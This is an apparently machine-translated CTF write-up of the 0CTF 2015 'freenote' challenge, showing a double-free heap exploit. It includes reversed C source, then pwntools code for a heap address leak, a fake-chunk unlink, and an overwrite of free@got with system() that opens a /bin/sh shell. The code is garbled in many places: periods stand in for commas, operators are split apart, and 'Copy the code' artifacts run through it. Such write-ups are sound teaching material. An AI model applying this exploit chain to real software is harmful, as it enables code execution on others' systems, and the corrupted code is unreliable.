0 x00 profile

We all know a common knowledge when we start c language: dynamic memory application through malloc() needs to be freed through free() after use; So what happens if, because of bad programming, this heap is freed and then freed again? This may seem silly, but double Free is a very common binary vulnerability in modern software.

I’ll use an example to illustrate the harm that double Free can cause. This example is an old 0CTF problem. The CTF contest is one of the better ways to get started on security by educating participants on security techniques through simple demonstrations of common computer vulnerabilities.

Program address:
https://github.com/ctfs/write-ups-2015/tree/master/0ctf-2015/exploit/freenote


Environment: Ubuntu 16.04 x86_64


Tools: IDA, PWnTools, PWNDBG

The code restored in reversed BY @Sakura looks like this. If you don’t want to see the whole thing, notice the bug in the dotted line:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

typedef struct note {
    long int flag;// Whether there is a note
    long int length;// The length of the notes
    char *content;// Note contents
} note;
typedef struct notes {
    long int max;
    long int length;
    note notes256[256];
} notes;

notes *base;

void allocate_space(a) {
    base = (notes *) malloc(sizeof(notes));
    for (int i = 0; i < 256; i++) {
        base->notes256[i].flag = 0;
        base->notes256[i].length = 0;
        base->notes256[i].content = NULL;
    }
}

int read_choice(a) {
    int choice;
    puts("== 0ops Free Note ==");
    puts("1. List Note");
    puts("2. New Note");
    puts("3. Edit Note");
    puts("4. Delete Note");
    puts("5. Exit");
    puts("= = = = = = = = = = = = = = = = = = = =");
    printf("Your choice: ");
    scanf("%d". &choice);
    return choice;
}

void list(a) {
    for (int i = 0;; i++) {
        if (i > = 256) {
            break;
        }
        if (base->notes256[i].flag = = 1) {
            printf("%d. %s\n". i. base->notes256[i].content);
        }
    }
}

void read_content(char *temp. int str_len) {
    int i;
    int read_num;
    for (i = 0; i < str_len; i + = read_num) {
        read_num = read(0. (void *) (temp + i), str_len - i);
        if (read_num < = 0) {
            break;
        }
    }
}

void new_note(a) {
    int str_len;// String length
    char *temp;
    void *str;
    if (base->length < base->max) {
        for (int i = 0;; i++) {
            if (i > = base->max) {
                break;
            }
            if (!base->notes256[i].flag) {
                printf("Length of new note: ");
                scanf("%d". &str_len);
                if (str_len > 0) {
                    if (str_len > 4096) {
                        str_len = 4096;
                    }
                    printf("Enter your note: ");
                    temp = (char *) malloc((128 - str_len % 128) % 128 + str_len);
                    read_content(temp. str_len);
                    base->notes256[i].flag = 1;
                    base->notes256[i].length = str_len;
                    base->notes256[i].content = temp;
                    base->length++;
                    puts("Done.");
                    break;
                }
            }

        }
    }
}

void edit_note(a) {
    printf("Note number: ");
    int num;
    scanf("%d".&num);
    int length;
    scanf("%d".&length);
    if(length! =base->notes256[num].length) {
        base->notes256[num].content=realloc(base->notes256[num].content, (128 - length % 128) % 128 + length);
        base->notes256[num].length=length;
    }
    printf("Enter your note: ");
    read_content(base->notes256[num].content.length);
    puts("Done.");
}

void delete_note(a) {
    int index;
    printf("Note number: ");
    scanf("%d". &index);
    base->length--;
    base->notes256[index].flag = 0;
    base->notes256[index].length = 0;

/ * -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - * /
/*-------------------------- bug is here ---------------------------*/
    
    free(base->notes256[index].content);

/ * -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - * /    
/ * -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - * /

    puts("Done.");
}

int main(a) {
    allocate_space(a);
    base->max = 256;
    while (1) {
        switch (read_choice()) {
            case 1:
                list(a);
                break;
            case 2:
                new_note(a);
                break;
            case 3:
                edit_note(a);
                break;
            case 4:
                delete_note(a);
                break;
            case 5:
                puts("Bye");
                return 0;
            default:
                puts("Invalid!");
                break;
        }
    }
}
Copy the code

You can see in the

free(base->notes256[index].content);
Copy the code

After that, the pointer is not null, and the pointer can be free again in the subsequent execution process to cause the double free vulnerability. This problem does not occur if the assignment is NULL, and it is safe to release the NULL pointer.

And noticed in the

base->notes256[i].content
Copy the code

Fixed the address where the note0 string is stored, and of course, we need to know its address when we use this pointer. Then double free is triggered to change the address of the note0 string, overwrite the global offset table, and change the program execution flow.

The following is the concrete implementation process.

0x01 Info Leak

According to the source code it can be seen that there is a leak in the list function that can cause data in the uninitialized heap to be leaked if

Two chunks are needed to leak addresses and two are needed to prevent merging, so four notes are added first.

The heap layout at this time:

After releasing 0 and 2, BK in Note0 chunk will point to Note2 chunk:

At this time, add a note with a length less than or equal to 8, and it will be assigned to the address of Note0, and then print out the BK pointer saved after last free when printing its content. This can be done because malloc chunks are spatially multiplexed. Each chunk is just a contiguous chunk of memory. Depending on the situation, an address can be interpreted as user data or as a heap pointer. Subtract 1940h from the leaked address to get the Heap base. Base -> Notes256 [I].content is computed once the heap base is known.

Once the address is leaked, all chunks can be released.

The implementation is as follows:

for i in range(4) :
   newnote('a')
delnote(0)
delnote(2)

newnote('murasaki')

s = getnote(0) [8:]
heap_addr = u64((s.ljust(8. "\x00")) [:8])
heap_base = heap_addr - 0x1940
print "heap base is at %s" % hex(heap_base)

delnote(0)
delnote(1)
delnote(3)
Copy the code

0x02 unlink()

Unlink is triggered when an idle chunk merges. In this case, since it is not Fastbin, unlink will be triggered if there are free chunks before and after free chunks: the parameters and Pointers of adjacent chunks will be changed to achieve forward or backward merging. We can convert unwritable addresses into writable addresses by triggering unlink(p, BK, FD), resulting in p = & p-3.

Why is that? Let’s review the behavior of unlink(p, BK, FD) :

1. FD = p->fd == &p - 3, BK = p->bk == &p - 2 2. Check the FD - > bk! = p || BK->fd ! Bk ->bk = bk // p = &p-2 4. Bk -> FD = FD // p = &p-3Copy the code

At the binary executable level there is no concept of a structure, only a contiguous segment of memory, accessed by offsets. Therefore, we can arrange forged chunk to interpret the Pointers provided by us as BK and FD, and finally realize P = & P-3. If there are any unlink related information that we do not understand, we can look up unlink related information for further learning.

Now comes the most interesting part — free forges the heap to read and write anywhere. The heap layout method is flexible, as long as the successful use of any play can be. My thinking goes like this:

  1. Add note0, size 0x90, user data size 0x80, content is a forged chunk: size == note0 size + note1 size == 0x80 + 0x90 == 0x110
  2. Add a larger Note1 containing multiple fake chunks that overwrite the address of the original Note2, which was double free.

The implementation is as follows:

newnote(p64(0) + p64(0x110 + 1) + p64(heap_base + 0x18)+p64(heap_base + 0x20))
newnote("a" * 0x80 + p64(0x110) + p64(0x90) + "a" * 0x80 + p64(0) + p64(0x91) + "a" * 0x80) 
delnote(2)
Copy the code

After debugging, you will find that p = &P-3 is realized at this time, that is, the original storage address of note0 is changed, now modify the user data of note0 is to modify the address of note0, and then edit note0 is to change the content of this address.

0 x03 cover GOT

Because the program’s global offset is writable, we can override free@got as the system() address after arbitrary writing:

elf = ELF('freenote')
off_system=libc.symbols['system']
off_free=libc.symbols['free']
free_got=elf.got['free']
editnote(0. p64(100) + p64(1) + p64(8) + p64(free_got))
s = getnote(0)
free_addr = u64((s.ljust(8. "\x00")) [:8])
libc_addr = free_addr - off_free
system_addr = libc_addr + off_system
print "system is at %s" % hex(system_addr)
editnote(0. p64(system_addr))
Copy the code

Now calling free() is calling system() :

newnote("/bin/sh\x00")
delnote(2)
p.interactive()
Copy the code

In summary, releasing a pointer twice is a very dangerous behavior that can cause arbitrary code execution. I hope developers and newbies who want to be engaged in the security industry can get a little inspiration.

0 x04 complete EXP

Link: http://pan.baidu.com/s/1jIotmGQ password: PDVW